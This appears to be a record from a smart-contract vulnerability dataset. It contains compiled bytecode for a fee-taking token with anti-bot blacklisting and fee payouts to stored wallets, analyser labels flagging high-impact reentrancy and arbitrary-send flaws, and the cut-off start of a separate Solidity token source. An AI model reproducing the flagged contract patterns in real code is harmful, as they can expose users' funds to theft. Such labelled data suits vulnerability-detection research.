0000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600881526020017f2054464c4f4b4920000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047624e0fb07a625da2da7debccf28bc1d7eb7f173e6dd2567aa7246b0742281564736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,002 |
0x64702dEB5eB35B0C3B39Ad10c6b5038B52C2246f
|
/**
*Submitted for verification at Etherscan.io on 2021-04-21
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Context
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: IWeedVault
interface IWeedVault {
function balanceOf(address account) external view returns (uint256);
function addTaxFee(uint256 amount) external returns (bool);
}
// Part: SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: Ownable
abstract contract Ownable is Context {
address private _owner;
